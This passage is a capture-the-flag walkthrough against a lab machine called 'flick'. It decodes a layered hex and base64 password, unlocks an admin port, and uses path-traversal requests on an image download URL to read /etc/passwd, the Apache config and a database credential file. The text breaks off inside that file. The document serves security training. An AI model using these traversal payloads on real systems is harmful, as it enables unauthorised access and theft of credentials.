\x57\x6b\x5a\x53\x54\x6d\x46\x36\x52\x54\x46\x57\x56\x45\x6f\x77\x56\x6a\x46\x61 \x57\x46\x4e\x72\x61\x47\x68\x53\x65\x6d\x78\x57\x56\x6d\x70\x4f\x54\x30\x30\x78 \x63\x46\x5a\x58\x62\x55\x5a\x72\x55\x6a\x41\x31\x52\x31\x64\x72\x57\x6e\x64\x57 \x4d\x44\x46\x46\x55\x6c\x52\x47\x56\x31\x5a\x46\x62\x33\x64\x57\x61\x6b\x5a\x68 \x56\x30\x5a\x4f\x63\x6d\x46\x48\x61\x46\x4e\x6c\x62\x58\x68\x58\x56\x6d\x30\x78 \x4e\x46\x6c\x56\x4d\x48\x68\x58\x62\x6b\x35\x59\x59\x6c\x56\x61\x63\x6c\x56\x71 \x51\x54\x46\x53\x4d\x57\x52\x79\x56\x32\x78\x4f\x56\x57\x4a\x56\x63\x45\x64\x5a \x4d\x46\x5a\x33\x56\x6a\x4a\x4b\x56\x56\x4a\x59\x5a\x46\x70\x6c\x61\x33\x42\x49 \x56\x6d\x70\x47\x54\x32\x52\x57\x56\x6e\x52\x68\x52\x6b\x35\x73\x59\x6c\x68\x6f \x57\x46\x5a\x74\x4d\x58\x64\x55\x4d\x56\x46\x33\x54\x55\x68\x6f\x61\x6c\x4a\x73 \x63\x46\x6c\x5a\x62\x46\x5a\x68\x59\x32\x78\x57\x63\x56\x46\x55\x52\x6c\x4e\x4e \x56\x6c\x59\x31\x56\x46\x5a\x53\x55\x31\x5a\x72\x4d\x58\x4a\x6a\x52\x6d\x68\x57 \x54\x57\x35\x53\x4d\x31\x5a\x71\x53\x6b\x74\x57\x56\x6b\x70\x5a\x57\x6b\x5a\x77 \x62\x47\x45\x7a\x51\x6b\x6c\x57\x62\x58\x42\x48\x56\x44\x4a\x53\x56\x31\x5a\x75 \x55\x6d\x68\x53\x61\x7a\x56\x7a\x57\x57\x78\x6f\x62\x31\x64\x47\x57\x6e\x52\x4e \x53\x47\x68\x50\x55\x6d\x31\x34\x56\x31\x52\x56\x61\x47\x39\x58\x52\x30\x70\x79 \x54\x6c\x5a\x73\x57\x6d\x4a\x47\x57\x6d\x68\x5a\x4d\x6e\x68\x58\x59\x7a\x46\x57 \x63\x6c\x70\x47\x61\x47\x6c\x53\x4d\x31\x46\x36\x56\x6a\x4a\x30\x55\x31\x55\x78 \x57\x6e\x4a\x4e\x57\x45\x70\x71\x55\x6d\x31\x6f\x56\x31\x52\x58\x4e\x56\x4e\x4e \x4d\x56\x70\x78\x55\x32\x74\x30\x56\x31\x5a\x72\x63\x46\x70\x58\x61\x31\x70\x33 \x56\x6a\x46\x4b\x56\x32\x4e\x49\x62\x46\x64\x57\x52\x55\x70\x6f\x56\x6b\x52\x4b \x54\x32\x52\x47\x53\x6e\x4a\x61\x52\x6d\x68\x70\x56\x6a\x4e\x6f\x56\x56\x64\x57 \x55\x6b\x39\x52\x4d\x57\x52\x48\x56\x32\x35\x53\x54\x6c\x5a\x46\x53\x6c\x68\x55 \x56\x33\x68\x48\x54\x6c\x5a\x61\x57\x45\x35\x56\x4f\x56\x68\x53\x4d\x48\x42\x4a \x56\x6c\x64\x34\x63\x31\x64\x74\x53\x6b\x68\x68\x52\x6c\x4a\x58\x54\x55\x5a\x77 \x56\x46\x5a\x71\x52\x6e\x64\x53\x4d\x56\x4a\x30\x5a\x55\x64\x73\x55\x32\x4a\x59 \x59\x33\x68\x57\x61\x31\x70\x68\x56\x54\x46\x56\x65\x46\x64\x75\x53\x6b\x35\x58 \x52\x58\x42\x78\x56\x57\x78\x6b\x4e\x47\x46\x47\x56\x58\x64\x68\x52\x55\x35\x55 \x55\x6d\x78\x77\x65\x46\x55\x79\x64\x47\x46\x69\x52\x6c\x70\x7a\x56\x32\x78\x77 \x57\x47\x45\x78\x63\x44\x4e\x5a\x61\x32\x52\x47\x5a\x57\x78\x47\x63\x6d\x4a\x47 \x5a\x46\x64\x4e\x4d\x45\x70\x4a\x56\x6d\x74\x53\x53\x31\x55\x78\x57\x58\x68\x57 \x62\x6c\x5a\x57\x59\x6c\x68\x43\x56\x46\x6c\x72\x56\x6e\x64\x57\x56\x6c\x70\x30 \x5a\x55\x63\x35\x55\x6b\x31\x58\x55\x6e\x70\x57\x4d\x6a\x56\x4c\x56\x30\x64\x4b \x53\x46\x56\x74\x4f\x56\x56\x57\x62\x48\x42\x59\x56\x47\x78\x61\x59\x56\x64\x48 \x56\x6b\x68\x6b\x52\x32\x68\x70\x55\x6c\x68\x42\x64\x31\x64\x57\x56\x6d\x39\x55 \x4d\x56\x70\x30\x55\x6d\x35\x4b\x54\x31\x5a\x73\x53\x6c\x68\x55\x56\x6c\x70\x33 \x56\x30\x5a\x72\x65\x46\x64\x72\x64\x47\x70\x69\x56\x6b\x70\x49\x56\x6c\x64\x34 \x61\x32\x46\x57\x53\x6e\x52\x50\x56\x45\x35\x58\x54\x57\x35\x6f\x57\x46\x6c\x71 \x53\x6b\x5a\x6c\x52\x6d\x52\x5a\x57\x6b\x55\x31\x56\x31\x5a\x73\x63\x46\x56\x58 \x56\x33\x52\x72\x56\x54\x46\x73\x56\x31\x56\x73\x57\x6c\x68\x69\x56\x56\x70\x7a \x57\x57\x74\x61\x64\x32\x56\x47\x56\x58\x6c\x6b\x52\x45\x4a\x58\x54\x56\x5a\x77 \x65\x56\x59\x79\x65\x48\x64\x58\x62\x46\x70\x58\x59\x30\x68\x4b\x56\x31\x5a\x46 \x57\x6b\x78\x57\x4d\x56\x70\x48\x59\x32\x31\x4b\x52\x31\x70\x47\x5a\x45\x35\x4e \x52\x58\x42\x4b\x56\x6d\x31\x30\x55\x31\x4d\x78\x56\x58\x68\x58\x57\x47\x68\x68 \x55\x30\x5a\x61\x56\x6c\x6c\x72\x57\x6b\x74\x6a\x52\x6c\x70\x78\x56\x47\x30\x35 \x56\x31\x5a\x73\x63\x45\x68\x58\x56\x45\x35\x76\x59\x56\x55\x78\x57\x46\x56\x75 \x63\x46\x64\x4e\x56\x32\x68\x32\x56\x31\x5a\x61\x53\x31\x49\x78\x54\x6e\x56\x52 \x62\x46\x5a\x58\x54\x54\x46\x4b\x4e\x6c\x5a\x48\x64\x47\x46\x68\x4d\x6b\x35\x7a \x56\x32\x35\x53\x61\x31\x4a\x74\x55\x6e\x42\x57\x62\x47\x68\x44\x54\x6c\x5a\x6b \x56\x56\x46\x74\x52\x6d\x70\x4e\x56\x31\x49\x77\x56\x54\x4a\x30\x61\x31\x64\x48 \x53\x6c\x68\x68\x52\x30\x5a\x56\x56\x6d\x78\x77\x4d\x31\x70\x58\x65\x48\x4a\x6c \x56\x31\x5a\x49\x5a\x45\x64\x30\x55\x32\x45\x7a\x51\x58\x64\x58\x62\x46\x5a\x68 \x59\x54\x4a\x47\x56\x31\x64\x75\x53\x6d\x6c\x6c\x61\x31\x70\x59\x57\x57\x78\x6f \x51\x31\x52\x47\x55\x6e\x4a\x58\x62\x45\x70\x73\x55\x6d\x31\x53\x65\x6c\x6c\x56 \x57\x6c\x4e\x68\x56\x6b\x70\x31\x55\x57\x78\x77\x56\x32\x4a\x59\x55\x6c\x68\x61 \x52\x45\x5a\x72\x55\x6a\x4a\x4b\x53\x56\x52\x74\x61\x46\x4e\x57\x56\x46\x5a\x61 \x56\x6c\x63\x78\x4e\x47\x51\x79\x56\x6b\x64\x57\x62\x6c\x4a\x72\x55\x6b\x56\x4b \x62\x31\x6c\x59\x63\x45\x64\x6c\x56\x6c\x4a\x7a\x56\x6d\x35\x4f\x57\x47\x4a\x47 \x63\x46\x68\x5a\x4d\x47\x68\x4c\x56\x32\x78\x61\x57\x46\x56\x72\x5a\x47\x46\x57 \x56\x31\x4a\x51\x56\x54\x42\x6b\x52\x31\x49\x79\x52\x6b\x68\x69\x52\x6b\x35\x70 \x59\x54\x42\x77\x4d\x6c\x5a\x74\x4d\x54\x42\x56\x4d\x55\x31\x34\x56\x56\x68\x73 \x56\x56\x64\x48\x65\x46\x5a\x5a\x56\x45\x5a\x33\x59\x55\x5a\x57\x63\x56\x4e\x74 \x4f\x56\x64\x53\x62\x45\x70\x5a\x56\x47\x78\x6a\x4e\x57\x45\x79\x53\x6b\x64\x6a \x52\x57\x68\x58\x59\x6c\x52\x42\x4d\x56\x5a\x58\x63\x33\x68\x58\x52\x6c\x5a\x7a \x59\x55\x5a\x6b\x54\x6c\x59\x79\x61\x44\x4a\x57\x61\x6b\x4a\x72\x55\x7a\x46\x6b \x56\x31\x5a\x75\x53\x6c\x42\x57\x62\x48\x42\x76\x57\x56\x52\x47\x64\x31\x4e\x57 \x57\x6b\x68\x6c\x52\x30\x5a\x61\x56\x6d\x31\x53\x52\x31\x52\x73\x57\x6d\x46\x56 \x52\x6c\x6c\x35\x59\x55\x5a\x6f\x57\x6c\x64\x49\x51\x6c\x68\x56\x4d\x46\x70\x68 \x59\x31\x5a\x4f\x63\x56\x56\x73\x57\x6b\x35\x57\x4d\x55\x6c\x33\x56\x6c\x52\x4b \x4d\x47\x49\x79\x52\x6b\x64\x54\x62\x6b\x35\x55\x59\x6b\x64\x6f\x56\x6c\x5a\x73 \x57\x6e\x64\x4e\x4d\x56\x70\x79\x56\x32\x31\x47\x61\x6c\x5a\x72\x63\x44\x42\x61 \x52\x57\x51\x77\x56\x6a\x4a\x4b\x63\x6c\x4e\x72\x61\x46\x64\x53\x4d\x32\x68\x6f \x56\x6b\x52\x4b\x52\x31\x59\x78\x54\x6e\x56\x56\x62\x45\x4a\x58\x55\x6c\x52\x57 \x57\x56\x64\x57\x55\x6b\x64\x6b\x4d\x6b\x5a\x48\x56\x32\x78\x57\x55\x32\x45\x78 \x63\x48\x4e\x56\x62\x54\x46\x54\x5a\x57\x78\x73\x56\x6c\x64\x73\x54\x6d\x68\x53 \x56\x45\x5a\x61\x56\x56\x63\x31\x62\x31\x59\x78\x57\x58\x70\x68\x53\x45\x70\x61 \x59\x57\x74\x61\x63\x6c\x56\x71\x52\x6c\x64\x6a\x4d\x6b\x5a\x47\x54\x31\x5a\x6b \x56\x31\x5a\x47\x57\x6d\x46\x57\x62\x47\x4e\x34\x54\x6b\x64\x52\x65\x56\x5a\x72 \x5a\x46\x64\x69\x62\x45\x70\x79\x56\x57\x74\x57\x53\x32\x49\x78\x62\x46\x6c\x6a \x52\x57\x52\x73\x56\x6d\x78\x4b\x65\x6c\x5a\x74\x4d\x44\x56\x58\x52\x30\x70\x48 \x59\x30\x5a\x6f\x57\x6b\x31\x48\x61\x45\x78\x57\x4d\x6e\x68\x68\x56\x30\x5a\x57 \x63\x6c\x70\x48\x52\x6c\x64\x4e\x4d\x6d\x68\x4a\x56\x31\x52\x4a\x65\x46\x4d\x78 \x53\x58\x68\x6a\x52\x57\x52\x68\x55\x6d\x73\x31\x57\x46\x59\x77\x56\x6b\x74\x4e \x62\x46\x70\x30\x59\x30\x56\x6b\x57\x6c\x59\x77\x56\x6a\x52\x57\x62\x47\x68\x76 \x56\x30\x5a\x6b\x53\x47\x46\x47\x57\x6c\x70\x69\x57\x47\x68\x6f\x56\x6d\x31\x34 \x63\x32\x4e\x73\x5a\x48\x4a\x6b\x52\x33\x42\x54\x59\x6b\x5a\x77\x4e\x46\x5a\x58 \x4d\x54\x42\x4e\x52\x6c\x6c\x34\x56\x32\x35\x4f\x61\x6c\x4a\x58\x61\x46\x68\x57 \x61\x6b\x35\x54\x56\x45\x5a\x73\x56\x56\x46\x59\x61\x46\x4e\x57\x61\x33\x42\x36 \x56\x6b\x64\x34\x59\x56\x55\x79\x53\x6b\x5a\x58\x57\x48\x42\x58\x56\x6c\x5a\x77 \x52\x31\x51\x78\x57\x6b\x4e\x56\x62\x45\x4a\x56\x54\x55\x51\x77\x50\x51\x3d\x3d .o88o. oooo o8o oooo 888 `" `888 `"' `888 o888oo 888 oooo .ooooo. 888 oooo 888 888 `888 d88' `"Y8 888 .8P' 888 888 888 888 888888. 888 888 888 888 .o8 888 `88b. o888o o888o o888o `Y8bod8P' o888o o888o debug1: Authentications that can continue: publickey,password debug1: Next authentication method: publickey debug1: Trying private key: /home/notfound/.ssh/id_rsa debug1: Trying private key: /home/notfound/.ssh/id_dsa debug1: Trying private key: /home/notfound/.ssh/id_ecdsa debug1: Trying private key: /home/notfound/.ssh/id_ed25519 debug1: Next authentication method: password root@192.168.10.42's password: ``` decode hex string, we can get this: ``` Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSWFJteFZVMjA1VjAxV2JETlhhMk0xVmpKS1IySkVUbGhoTVhCUVZteFZlRll5VGtsalJtaG9UVmhDVVZacVFtRlpWMDE1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GWkZSTmF6RTFWVEowVjFaWFNraGhSemxWVmpOT00xcFZXbUZrUjA1R1drWndWMDFFUlRGV1ZFb3dWakZhV0ZOcmFHaFNlbXhXVm0xNFlVMHhXbk5YYlVaclVqQTFSMWRyV2xOVWJVcEdZMFZ3VjJKVVJYZFpla3BIVmpGT2RWVnRhRk5sYlhoWFZtMXdUMVF3TUhoalJscFlZbFZhY2xWcVFURlNNVlY1VFZSU1ZrMXJjRmhWTW5SM1ZqSktWVkpZWkZwbGEzQklWbXBHVDJSV1ZuUmhSazVzWWxob1dGWnRNSGhPUm14V1RVaG9XR0pyTlZsWmJGWmhZMnhXYzFWclpGaGlSM1F6VjJ0U1UxWnJNWEpqUm1oV1RXNVNNMVpxU2t0V1ZrcFpXa1p3VjFKV2NIbFdWRUpoVkRKT2RGSnJaRmhpVjNoVVdWUk9RMWRHV25STlZFSlhUV3hHTlZaWE5VOVhSMHBJVld4c1dtSkhhRlJXTUZwVFZqRndSMVJ0ZUdsU2JYY3hWa1phVTFVeFduSk5XRXBxVWxkNGFGVXdhRU5UUmxweFUydGFiRlpzV2xwWGExcDNZa2RGZWxGcmJGZFdNMEpJVmtSS1UxWXhWblZWYlhCVFlrVndWVlp0ZUc5Uk1XUnpWMjVLV0dKSFVtOVVWbHBYVGxaYVdHVkhkR2hpUlhBd1dWVm9UMVp0Um5KT1ZsSlhUVlp3V0ZreFdrdGpiVkpIVld4a2FWSnRPVE5XTW5oWFlqSkZlRmRZWkU1V1ZscFVXV3RrVTFsV1VsWlhiVVpzWWtad2VGVXlkREJXTVZweVYyeHdXbFpXY0hKV1ZFWkxWMVpHY21KR1pGZE5NRXBKVm10U1MxVXhXWGhhU0ZaVllrWktjRlpxVG05V1ZscEhXVE5vYVUxWFVucFdNV2h2V1ZaS1IxTnVRbFZXTTFKNlZHdGFhMk5zV25Sa1JtUnBWbGhDTlZkVVFtRmpNV1IwVTJ0a1dHSlhhR0ZVVmxwM1pXeHJlV1ZIZEd0U2EzQXdXbFZhYTJGV1duSmlla1pYWWxoQ1RGUnJXbEpsUm1SellVWlNhVkp1UWxwV2JYUlhaREZrUjJKSVRtaFNWVFZaVlcxNGQyVkdWblJrUkVKb1lYcEdlVlJzVm5OWGJGcFhZMGhLV2xaWFVrZGFWV1JQVTBkR1IyRkhiRk5pYTBwMlZtMTBVMU14VVhsVVdHeFZZVEZ3YUZWcVNtOVdSbEpZVGxjNWEySkdjRWhXYlRBMVZXc3hXRlZzYUZkTlYyaDJWakJrUzFkV1ZuSlBWbHBvWVRGd1NWWkhlR0ZaVm1SR1RsWmFVRll5YUZoWldIQlhVMFphY1ZOcVVsWk5WMUl3VlRKMGIyRkdTbk5UYkdoVlZsWndNMVpyV21GalZrcDBaRWQwVjJKclNraFdSM2hoVkRKR1YxTnVVbEJXUlRWWVdWUkdkMkZHV2xWU2ExcHNVbTFTZWxsVldsTmhSVEZaVVc1b1YxWXphSEpaYWtaclVqRldjMkZGT1ZkV1ZGWmFWbGN4TkdReVZrZFdibEpyVWtWS2IxbFljRWRsVmxKelZtMDVXR0pHY0ZoWk1HaExWMnhhV0ZWclpHRldNMmhJV1RJeFMxSXhjRWRhUms1WFYwVktNbFp0Y0VkWlYwVjRWbGhvV0ZkSGFGWlpiWGhoVm14c2NsZHJkR3BTYkZwNFZXMTBNRll4V25OalJXaFhWak5TVEZsVVFYaFNWa3B6Vkd4YVUySkZXWHBXVlZwR1QxWkNVbEJVTUQwPQ== ``` we guesse that the string is encoded by base64. So we create py script to decode it. ``` #!/usr/bin/env python2 # -*- coding: utf8 -*- import base64 def decode(data): n = 0 while True: try: data = base64.b64decode(data) except TypeError: n = n - 1 break else: n = n + 1 data = base64.b64encode(data) return n, data if __name__ == "__main__": enc_str = "Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSWFJteFZVMjA1VjAxV2JETlhhMk0xVmpKS1IySkVUbGhoTVhCUVZteFZlRll5VGtsalJtaG9UVmhDVVZacVFtRlpWMDE1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GWkZSTmF6RTFWVEowVjFaWFNraGhSemxWVmpOT00xcFZXbUZrUjA1R1drWndWMDFFUlRGV1ZFb3dWakZhV0ZOcmFHaFNlbXhXVm0xNFlVMHhXbk5YYlVaclVqQTFSMWRyV2xOVWJVcEdZMFZ3VjJKVVJYZFpla3BIVmpGT2RWVnRhRk5sYlhoWFZtMXdUMVF3TUhoalJscFlZbFZhY2xWcVFURlNNVlY1VFZSU1ZrMXJjRmhWTW5SM1ZqSktWVkpZWkZwbGEzQklWbXBHVDJSV1ZuUmhSazVzWWxob1dGWnRNSGhPUm14V1RVaG9XR0pyTlZsWmJGWmhZMnhXYzFWclpGaGlSM1F6VjJ0U1UxWnJNWEpqUm1oV1RXNVNNMVpxU2t0V1ZrcFpXa1p3VjFKV2NIbFdWRUpoVkRKT2RGSnJaRmhpVjNoVVdWUk9RMWRHV25STlZFSlhUV3hHTlZaWE5VOVhSMHBJVld4c1dtSkhhRlJXTUZwVFZqRndSMVJ0ZUdsU2JYY3hWa1phVTFVeFduSk5XRXBxVWxkNGFGVXdhRU5UUmxweFUydGFiRlpzV2xwWGExcDNZa2RGZWxGcmJGZFdNMEpJVmtSS1UxWXhWblZWYlhCVFlrVndWVlp0ZUc5Uk1XUnpWMjVLV0dKSFVtOVVWbHBYVGxaYVdHVkhkR2hpUlhBd1dWVm9UMVp0Um5KT1ZsSlhUVlp3V0ZreFdrdGpiVkpIVld4a2FWSnRPVE5XTW5oWFlqSkZlRmRZWkU1V1ZscFVXV3RrVTFsV1VsWlhiVVpzWWtad2VGVXlkREJXTVZweVYyeHdXbFpXY0hKV1ZFWkxWMVpHY21KR1pGZE5NRXBKVm10U1MxVXhXWGhhU0ZaVllrWktjRlpxVG05V1ZscEhXVE5vYVUxWFVucFdNV2h2V1ZaS1IxTnVRbFZXTTFKNlZHdGFhMk5zV25Sa1JtUnBWbGhDTlZkVVFtRmpNV1IwVTJ0a1dHSlhhR0ZVVmxwM1pXeHJlV1ZIZEd0U2EzQXdXbFZhYTJGV1duSmlla1pYWWxoQ1RGUnJXbEpsUm1SellVWlNhVkp1UWxwV2JYUlhaREZrUjJKSVRtaFNWVFZaVlcxNGQyVkdWblJrUkVKb1lYcEdlVlJzVm5OWGJGcFhZMGhLV2xaWFVrZGFWV1JQVTBkR1IyRkhiRk5pYTBwMlZtMTBVMU14VVhsVVdHeFZZVEZ3YUZWcVNtOVdSbEpZVGxjNWEySkdjRWhXYlRBMVZXc3hXRlZzYUZkTlYyaDJWakJrUzFkV1ZuSlBWbHBvWVRGd1NWWkhlR0ZaVm1SR1RsWmFVRll5YUZoWldIQlhVMFphY1ZOcVVsWk5WMUl3VlRKMGIyRkdTbk5UYkdoVlZsWndNMVpyV21GalZrcDBaRWQwVjJKclNraFdSM2hoVkRKR1YxTnVVbEJXUlRWWVdWUkdkMkZHV2xWU2ExcHNVbTFTZWxsVldsTmhSVEZaVVc1b1YxWXphSEpaYWtaclVqRldjMkZGT1ZkV1ZGWmFWbGN4TkdReVZrZFdibEpyVWtWS2IxbFljRWRsVmxKelZtMDVXR0pHY0ZoWk1HaExWMnhhV0ZWclpHRldNMmhJV1RJeFMxSXhjRWRhUms1WFYwVktNbFp0Y0VkWlYwVjRWbGhvV0ZkSGFGWlpiWGhoVm14c2NsZHJkR3BTYkZwNFZXMTBNRll4V25OalJXaFhWak5TVEZsVVFYaFNWa3B6Vkd4YVUySkZXWHBXVlZwR1QxWkNVbEJVTUQwPQ==" print "[+] decode %d times: %s" % decode(enc_str) ``` run the command as follow: ``` lab:flick/ $ python decode.py [+] decode 16 times: tabupJievas8Knoj ``` try to login ssh with password "**tabupJievas8Knoj**", ``` root@192.168.10.42's password: Permission denied, please try again. root@192.168.10.42's password: Permission denied, please try again. root@192.168.10.42's password: ``` ###Port: 8881### connect to port 8881 with ncat, ``` lab:pentestlab/ $ ncat -v 192.168.10.42 8881 Ncat: Version 6.47 ( http://nmap.org/ncat ) Ncat: Connected to 192.168.10.42:8881. Welcome to the admin server. A correct password will 'flick' the switch and open a new door: > ``` try to input different length string as follow: ``` > Ncat: 2 bytes sent, 104 bytes received in 0.03 seconds. lab:pentestlab/ $ python2 -c 'print "A"' | ncat 192.168.10.42 8881 Welcome to the admin server. A correct password will 'flick' the switch and open a new door: > OK: A > lab:pentestlab/ $ python2 -c 'print "A" * 2' | ncat 192.168.10.42 8881 Welcome to the admin server. A correct password will 'flick' the switch and open a new door: > OK: AA > lab:pentestlab/ $ python2 -c 'print "A" * 20' | ncat 192.168.10.42 8881 Welcome to the admin server. A correct password will 'flick' the switch and open a new door: > OK: AAAAAAAAAAAAAAAAAAAA > lab:pentestlab/ $ python2 -c 'print "A" * 2000' | ncat 192.168.10.42 8881 Welcome to the admin server. A correct password will 'flick' the switch and open a new door: > OK: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > OK: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ...... ...... ``` we find server will split string with buffer size 1024. Now, we can't exploit server with large strings. And we login with the string 'tabupJievas8Knoj' from port 22. ``` lab:pentestlab/ $ python2 -c 'print "tabupJievas8Knoj"' | ncat -v 192.168.10.42 8881 Ncat: Version 6.47 ( http://nmap.org/ncat ) Ncat: Connected to 192.168.10.42:8881. Welcome to the admin server. A correct password will 'flick' the switch and open a new door: > OK: tabupJievas8Knoj Accepted! The door should be open now :poolparty: > ``` scan open port(s) again. ``` lab:pentestlab/ $ nmap -v -n -T4 -p- 192.168.10.42 Starting Nmap 6.47 ( http://nmap.org ) at 2015-07-20 15:34 UTC Initiating Ping Scan at 15:34 Scanning 192.168.10.42 [2 ports] Completed Ping Scan at 15:34, 0.00s elapsed (1 total hosts) Initiating Connect Scan at 15:34 Scanning 192.168.10.42 [65535 ports] Discovered open port 22/tcp on 192.168.10.42 Discovered open port 80/tcp on 192.168.10.42 Discovered open port 8881/tcp on 192.168.10.42 Completed Connect Scan at 15:34, 1.77s elapsed (65535 total ports) Nmap scan report for 192.168.10.42 Host is up (0.0072s latency). Not shown: 65532 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 8881/tcp open unknown Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 1.86 seconds ``` ###Port: 80### access to http://192.168.10.42/404, we can get: ``` http://192.168.10.42/db/ http://192.168.10.42/scripts/ http://192.168.10.42/web/ http://192.168.10.42/icons/ http://192.168.10.42/cgi-bin/ http://192.168.10.42/image/view http://192.168.10.42/image/download ``` You have to be logged in to download photos. ``` http://192.168.10.42/image/download?filename=....//....//etc/passwd http://192.168.10.42/image/download?filename=....//....//....//....//etc/apache2/sites-enabled/000-default http://192.168.10.42/image/download?filename=....//....//....//....//var/www/flick_photos/public/index.php http://192.168.10.42/image/download?filename=....//....//....//....//var/www/flick_photos/bootstrap/autoload.php http://192.168.10.42/image/download?filename=....//....//....//....//var/www/flick_photos/vendor/autoload.php http://192.168.10.42/image/download?filename=....//....//....//....//var/www/flick_photos/vendor/composer/ClassLoader.php http://192.168.10.42/image/download?filename=....//....//....//....//var/www/flick_photos/app/config/database.php ``` view **/etc/apache2/sites-enabled/000-default**, we can get: ``` DocumentRoot /var/www/flick_photos/public <Directory /> Options FollowSymLinks AllowOverride None </Directory> <Directory /var/www/flick_photos/public> Options Indexes FollowSymLinks MultiViews AllowOverride All Order allow,deny allow from all </Directory> ``` view **/etc/passwd**, we can get: ``` root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false messagebus:x:102:105::/var/run/dbus:/bin/false whoopsie:x:103:106::/nonexistent:/bin/false landscape:x:104:109::/var/lib/landscape:/bin/false sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin robin:x:1000:1000:robin,,,:/home/robin:/bin/bash mysql:x:106:114:MySQL Server,,,:/nonexistent:/bin/false dean:x:1001:1001:,,,:/home/dean:/bin/bash ``` view **/var/www/flick_photos/app/config/database.php**, we can get: ``` 'connections' => array( 'sqlite' => array( 'driver' => 'sqlite', 'database' => __DIR__.'/../database/production.sqlite', // OLD DATABASE NO LONGER IN USE! 'prefix' => '', ), 'mysql' => array( 'driver' => 'mysql', 'host' => 'localhost', 'database' => 'flick', 'username' => 